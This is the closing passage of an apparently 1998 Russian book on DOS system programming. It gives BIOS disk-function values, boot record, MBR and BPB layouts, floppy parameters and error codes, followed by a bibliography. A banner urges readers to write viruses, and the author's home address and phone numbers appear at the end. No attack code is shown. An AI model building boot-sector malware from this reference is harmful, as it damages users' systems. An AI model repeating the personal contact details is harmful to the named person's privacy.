  7244.               DL = дисковод ( 00h - 07Fh - для дискет-
  7245.                    ного   дисковода,  80h - 0FFh - для
  7246.                    " винчестера " .
  7247.     Возврат : AH = 0
  7248.               BL = тип дисковода ( только AT и PS2 )
  7249.               DL = количество накопителей, обслуживае-
  7250.                    мых первым контроллером
  7251.               DH = максимальный номер головки
  7252.               CL = максимальный номер сектора
  7253.               CH = максимальный номер дорожки
  7254.                    ( см. функцию 02h )
  7255.               ES : DI = адрес таблицы параметров  дис-
  7256.                         ковода
  7257.     При ошибке :
  7258.               CF = 1
  7259.               AH = байт состояния .
  7260.  
  7261.      *
  7262.       Функция не работает на IBM XT для дисководов !!!
  7263.  
  7264.  
  7265.                       ПРИЛОЖЕНИЕ 2
  7266.  
  7267.            Формат загрузочной записи для MS DOS
  7268.                     различных версий
  7269.  
  7270.     Формат BOOT - записи для версий MS DOS до 4.0
  7271.  
  7272.      ________________________________________________
  7273.     |Смещение |Размер |  Содержимое                  |
  7274.     | ( HEX ) |( DEC )|                              |
  7275.     |---------|-------|------------------------------|
  7276.     |00h      |03     |Команда EB xx 90 перехода на  |
  7277.     |         |       |программу начальной загрузки  |
  7278.     |---------|-------|------------------------------|
  7279.     |03h      |08     |Название фирмы - производителя|
  7280.     |         |       |и номер операционной системы  |
  7281.     |---------|-------|------------------------------|
  7282.     |0Bh      |13     |Блок параметров BIOS ( BPB )  |
  7283.     |---------|-------|------------------------------|
  7284.     |18h      |02     |Количество секторов на дорожке|
  7285.     |---------|-------|------------------------------|
  7286.     |1Ah      |02     |Количество поверхностей диска |
  7287.     |---------|-------|------------------------------|
  7288.     |1Ch      |02     |Количество скрытых секторов,  |
  7289.     |         |       |которые иногда используются   |
  7290.     |         |       |для разбиения диска на разделы|
  7291.     |---------|-------|------------------------------|
  7292.     |1Eh      |480    |Программа начальной загрузки, |
  7293.     |         |       |называемая загрузочной записью|
  7294.     |         |       |(Boot Record).                |
  7295.     |---------|-------|------------------------------|
  7296.     |1FEh     |02     |Код : 55 AA                   |
  7297.     |_________|_______|______________________________|
  7298.  
  7299.     Формат BOOT - записи для версии MS DOS 4.0
  7300.  
  7301.      ________________________________________________
  7302.     |Смещение |Размер |  Содержимое                  |
  7303.     | ( HEX ) |( DEC )|                              |
  7304.     |---------|-------|------------------------------|
  7305.     |00h      |03     |Команда EB xx 90 перехода на  |
  7306.     |         |       |программу начальной загрузки  |
  7307.     |---------|-------|------------------------------|
  7308.     |03h      |08     |Название фирмы - производителя|
  7309.     |         |       |и номер операционной системы  |
  7310.     |---------|-------|------------------------------|
  7311.     |0Bh      |25     |Расширенный блок параметров   |
  7312.     |         |       |BIOS ( EBPB )                 |
  7313.     |---------|-------|------------------------------|
  7314.     |24h      |01     |Физический номер дисковода    |
  7315.     |         |       |( 00h - для дискетного диско- |
  7316.     |         |       |вода, 80h - для винчестера )  |
  7317.     |---------|-------|------------------------------|
  7318.     |25h      |01     |Зарезервировано               |
  7319.     |---------|-------|------------------------------|
  7320.     |26h      |01     |Символ " ) " - признак расши- |
  7321.     |         |       |ренной загрузочной записи     |
  7322.     |         |       |MS DOS 4.0                    |
  7323.     |_________|_______|______________________________|
  7324.     |27h      |04     |Серийный номер диска,создается|
  7325.     |         |       |во время его форматирования   |
  7326.     |---------|-------|------------------------------|
  7327.     |2Bh      |11     |Метка ( Volume Label ) диска, |
  7328.     |         |       |задается во время его форма-  |
  7329.     |         |       |тирования                     |
  7330.     |---------|-------|------------------------------|
  7331.     |36h      |08     |Обычно содержит запись типа   |
  7332.     |         |       |" FAT 12 " или аналогичную    |
  7333.     |_________|_______|______________________________|
  7334.     |3Eh      |448    |Программа начальной загрузки, |
  7335.     |         |       |называемая загрузочной записью|
  7336.     |         |       |(Boot Record).                |
  7337.     |---------|-------|------------------------------|
  7338.     |1FEh     |02     |Код : 55 AA                   |
  7339.     |_________|_______|______________________________|
  7340.  
  7341.  
  7342.     Формат Master Boot Record ( MBR ) - главной
  7343.     загрузочной записи жесткого диска
  7344.  
  7345.      ________________________________________________
  7346.     |Смещение |Размер |  Содержимое                  |
  7347.     | ( HEX ) |( DEC )|                              |
  7348.     |---------|-------|------------------------------|
  7349.     |00h      |446    |Программа, называемая         |
  7350.     |         |       |главной загрузочной записью   |
  7351.     |         |       |(MBR, или Master Boot Record).|
  7352.     |---------|-------|------------------------------|
  7353.     |1BEh     |16     |Элемент таблицы разделов диска|
  7354.     |---------|-------|------------------------------|
  7355.     |1CEh     |16     |Элемент таблицы разделов диска|
  7356.     |---------|-------|------------------------------|
  7357.     |1DEh     |16     |Элемент таблицы разделов диска|
  7358.     |---------|-------|------------------------------|
  7359.     |1EEh     |16     |Элемент таблицы разделов диска|
  7360.     |---------|-------|------------------------------|
  7361.     |1FEh     |02     |Код : 55 AA                   |
  7362.     |_________|_______|______________________________|
  7363.  
  7364.  
  7365.     Формат BPB для версий MS DOS до 4.0
  7366.  
  7367.      ________________________________________________
  7368.     |Смещение |Размер |  Содержимое                  |
  7369.     | ( HEX ) |( DEC )|                              |
  7370.     |---------|-------|------------------------------|
  7371.     |00h      |02     |Количество байтов             |
  7372.     |         |       |в одном секторе диска         |
  7373.     |---------|-------|------------------------------|
  7374.     |02h      |01     |Количество секторов           |
  7375.     |         |       |в одном кластере              |
  7376.     |---------|-------|------------------------------|
  7377.     |03h      |02     |Количество зарезервированных  |
  7378.     |         |       |секторов                      |
  7379.     |---------|-------|------------------------------|
  7380.     |05h      |01     |Количество копий FAT          |
  7381.     |---------|-------|------------------------------|
  7382.     |06h      |02     |Максимальное количество дес-  |
  7383.     |         |       |крипторов файлов, содержащихся|
  7384.     |         |       |в корневом каталоге диска     |
  7385.     |---------|-------|------------------------------|
  7386.     |08h      |02     |Общее количество секторов на  |
  7387.     |         |       |носителе данных в разделе DOS |
  7388.     |_________|_______|______________________________|
  7389.     |0Ah      |01     |Байт - описатель среды носи-  |
  7390.     |         |       |теля данных                   |
  7391.     |---------|-------|------------------------------|
  7392.     |0Bh      |02     |Количество секторов,занимаемых|
  7393.     |         |       |одной копией FAT              |
  7394.     |_________|_______|______________________________|
  7395.  
  7396.  
  7397.     Формат EBPB
  7398.  
  7399.      ________________________________________________
  7400.     |Смещение |Размер |  Содержимое                  |
  7401.     | ( HEX ) |( DEC )|                              |
  7402.     |---------|-------|------------------------------|
  7403.     |00h      |02     |Количество байтов             |
  7404.     |         |       |в одном секторе диска         |
  7405.     |---------|-------|------------------------------|
  7406.     |02h      |01     |Количество секторов           |
  7407.     |         |       |в одном кластере              |
  7408.     |---------|-------|------------------------------|
  7409.     |03h      |02     |Количество зарезервированных  |
  7410.     |         |       |секторов                      |
  7411.     |---------|-------|------------------------------|
  7412.     |05h      |01     |Количество копий FAT          |
  7413.     |---------|-------|------------------------------|
  7414.     |06h      |02     |Максимальное количество дес-  |
  7415.     |         |       |крипторов файлов, содержащихся|
  7416.     |         |       |в корневом каталоге диска     |
  7417.     |---------|-------|------------------------------|
  7418.     |08h      |02     |Общее количество секторов на  |
  7419.     |         |       |носителе данных в разделе DOS |
  7420.     |_________|_______|______________________________|
  7421.     |0Ah      |01     |Байт - описатель среды носи-  |
  7422.     |         |       |теля данных                   |
  7423.     |---------|-------|------------------------------|
  7424.     |0Bh      |02     |Количество секторов,занимаемых|
  7425.     |         |       |одной копией FAT              |
  7426.     |_________|_______|______________________________|
  7427.     |0Dh      |02     |Количество секторов           |
  7428.     |         |       |на дорожке                    |
  7429.     |---------|-------|------------------------------|
  7430.     |0Fh      |02     |Количество головок накопителя |
  7431.     |---------|-------|------------------------------|
  7432.     |11h      |02     |Количество скрытых секторов   |
  7433.     |         |       |для раздела,который по размеру|
  7434.     |         |       |меньше 32 - х Мегабайт        |
  7435.     |---------|-------|------------------------------|
  7436.     |13h      |02     |Количество скрытых секторов   |
  7437.     |         |       |для раздела,который по размеру|
  7438.     |         |       |превышает 32 Мегабайта        |
  7439.     |         |       |( Используется только в       |
  7440.     |         |       |MS DOS 4.0 )                  |
  7441.     |---------|-------|------------------------------|
  7442.     |15h      |04     |Общее количество секторов на  |
  7443.     |         |       |логическом диске для раздела, |
  7444.     |         |       |который по размеру превышает  |
  7445.     |         |       |32 Мегабайта                  |
  7446.     |_________|_______|______________________________|
  7447.  
  7448.     Параметры дискет различных типов
  7449.     ( В таблицу не вошли данные о совсем старых диске-
  7450.     тах с объемом 320 Kb, 180 Kb, 120 Kb и других ) :
  7451.  
  7452.      ________________________________________________
  7453.     |Диаметр   |      |      |      |       |        |
  7454.     |диска     | 3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |
  7455.    |----------|------|------|------|-------|--------|
  7456.    |Емкость   |      |      |      |       |        |
  7457.    |диска, Kb | 2880 | 1440 | 720  | 1200  | 360    |
  7458.    |----------|------|------|------|-------|--------|
  7459.    |Media     |      |      |      |       |        |
  7460.    |Descryptor| F0h  | F0h  | F9h  | F9h   | FDh    |
  7461.    |----------|------|------|------|-------|--------|
  7462.    |Количество|      |      |      |       |        |
  7463.    |сторон    | 2    | 2    | 2    | 2     | 2      |
  7464.    |----------|------|------|------|-------|--------|
  7465.    |Количество|      |      |      |       |        |
  7466.    |дорожек   | 80   | 80   | 80   | 80    | 40     |
  7467.    |на стороне|      |      |      |       |        |
  7468.    |----------|------|------|------|-------|--------|
  7469.    |Количество|      |      |      |       |        |
  7470.    |секторов  | 36   | 18   | 9    | 15    | 9      |
  7471.    |на дорожке|      |      |      |       |        |
  7472.    |----------|------|------|------|-------|--------|
  7473.    |Размер    |      |      |      |       |        |
  7474.    |сектора   | 512  | 512  | 512  | 512   | 512    |
  7475.    |----------|------|------|------|-------|--------|
  7476.    |Количество|      |      |      |       |        |
  7477.    |секторов  | 2    | 1    | 2    | 1     | 2      |
  7478.    |в кластере|      |      |      |       |        |
  7479.    |----------|------|------|------|-------|--------|
  7480.    |Длина FAT |      |      |      |       |        |
  7481.    |в секторах| 9    | 9    | 3    | 7     | 2      |
  7482.    |----------|------|------|------|-------|--------|
  7483.    |Количество|      |      |      |       |        |
  7484.    |копий FAT | 2    | 2    | 2    | 2     | 2      |
  7485.    |----------|------|------|------|-------|--------|
  7486.    |Длина     |      |      |      |       |        |
  7487.    |корневого |      |      |      |       |        |
  7488.    |каталога  | 15   | 14   | 7    | 14    | 7      |
  7489.    |в секторах|      |      |      |       |        |
  7490.    |__________|______|______|______|_______|________|
  7491.  
  7492.  
  7493.                      ПРИЛОЖЕНИЕ 3
  7494.  
  7495.            КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ
  7496.                      MS DOS и BIOS
  7497.  
  7498.       00h - Ошибки нет
  7499.       01h - Неправильный номер функции
  7500.       02h - Файл не найден
  7501.       03h - Путь не найден
  7502.       04h - Слишком много открытых файлов
  7503.       05h - Доступ запрещен
  7504.       06h - Неправильный дескриптор
  7505.       07h - Уничтожен блок управления памятью ( MCB -
  7506.             блок)
  7507.       08h - Не хватает памяти
  7508.       09h - Неправильный адрес блока памяти
  7509.       0Ah - Неправильное окружение
  7510.       0Bh - Неправильный формат
  7511.       0Ch - Неправильный код доступа
  7512.       0Dh - Неправильные данные
  7513.       0Eh - Неизвестное устройство
  7514.       0Fh - Неправильный дисковод
  7515.       10h - Попытка удалить текущий каталог
  7516.       11h - Не то же устройство
  7517.       12h - Больше нет файлов
  7518.       13h - Диск защищен от записи
  7519.       14h - Неизвестное устройство
  7520.       15h - Дисковод не готов
  7521.       16h - Неизвестная команда
  7522.       17h - Ошибка контрольной суммы
  7523.       19h - Ошибка поиска дорожки
  7524.       1Ah - Неизвестный носитель
  7525.       1Bh - Сектор не найден
  7526.       1Ch - В принтере нет бумаги
  7527.       1Dh - Отказ записи
  7528.       1Eh - Отказ чтения
  7529.       1Fh - Общая ошибка
  7530.       50h - Файл уже существует
  7531.       52h - Не могу создать каталог
  7532.       54h - Слишком много перенаправлений
  7533.       55h - Двойное перенаправление
  7534.       57h - Неправильный параметр
  7535.  
  7536.    --------------------------------------------------
  7537.  
  7538.    КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ BIOS
  7539.  
  7540.       00h - Ошибки нет
  7541.       01h - Неправильная команда
  7542.       02h - Не найдена адресная метка
  7543.       03h - Диск защищен от записи
  7544.       04h - Сектор не найден
  7545.       05h - Сброс жесткого диска не прошел
  7546.       06h - Дискета вынута
  7547.       07h - Неправильная таблица параметров
  7548.             жесткого диска ( HDPT - Hard Disk Parame-
  7549.             ter Table )
  7550.       0Ch - Не найден тип носителя данных
  7551.       0Dh - Неправильное число секторов в формате  на
  7552.             жестком диске
  7553.       10h - Невосстановимая ошибка данных
  7554.       11h - Восстановленная ошибка данных на  жестком
  7555.             диске
  7556.       20h - Неисправность контроллера
  7557.       40h - Ошибка позиционирования
  7558.       80h - Тайм - аут диска
  7559.       AAh - Жесткий диск не готов
  7560.       BBh - Неизвестная ошибка жесткого диска
  7561.  
  7562.  
  7563.                        ЛИТЕРАТУРА
  7564.  
  7565.    1. Финогенов К .Г
  7566.                 " Самоучитель  по системным  функциям
  7567.                    MS DOS ", М.:Малип, 1993
  7568.  
  7569.    2. П .Абель
  7570.                 " Язык ассемблера  для IBM PC  и про-
  7571.                    граммирования ", М.:Высшая  школа,
  7572.                   1991
  7573.  
  7574.    3. Хижняк П .Л
  7575.                 " Пишем вирус... и  антивирус ! ",
  7576.                   М.: Инфо, 1991
  7577.  
  7578.    4. Касаткин А .И
  7579.                 " Профессиональное программирова-
  7580.                    ние на языке СИ .Управление ре-
  7581.                    сурсами ", Минск, Вышейшая шко-
  7582.                   ла, 1992
  7583.  
  7584.  
  7585.    5. Самофалов К .Г, Викторов О .В
  7586.                 " Микропроцессоры ",М.:Библиотека ин-
  7587.                   женера, 1990
  7588.  
  7589.  
  7590.    г. Житомир, 18.08.1998
  7591.    И. Коваль
  7592.  
  7593.    По возникшим вопросам вы можете обратиться к авто-
  7594.    ру этой книги .С благодарностью приму любые  заме-
  7595.    чания, пожелания и предложения .
  7596.  
  7597.    __________________________________________________
  7598.    ПИШИТЕ ВИРУСЫ, КАК ЗАВЕЩАЛ ВЕЛИКИЙ ЛЕНИН, КАК УЧИТ
  7599.    НАС КОММУНИСТИЧЕСКАЯ ПАРТИЯ !!!
  7600.    --------------------------------------------------
  7601.  
  7602.    Украина
  7603.    г. Житомир
  7604.    ул. Большая Бердичевская, д. 83, кв. 25
  7605.    Коваль Игорь Михайлович
  7606.    тел. 8 (0412) 343427
  7607.         8 (0412) 204218
  7608.    Индекс : 262002
Add Comment
Please, Sign In to add comment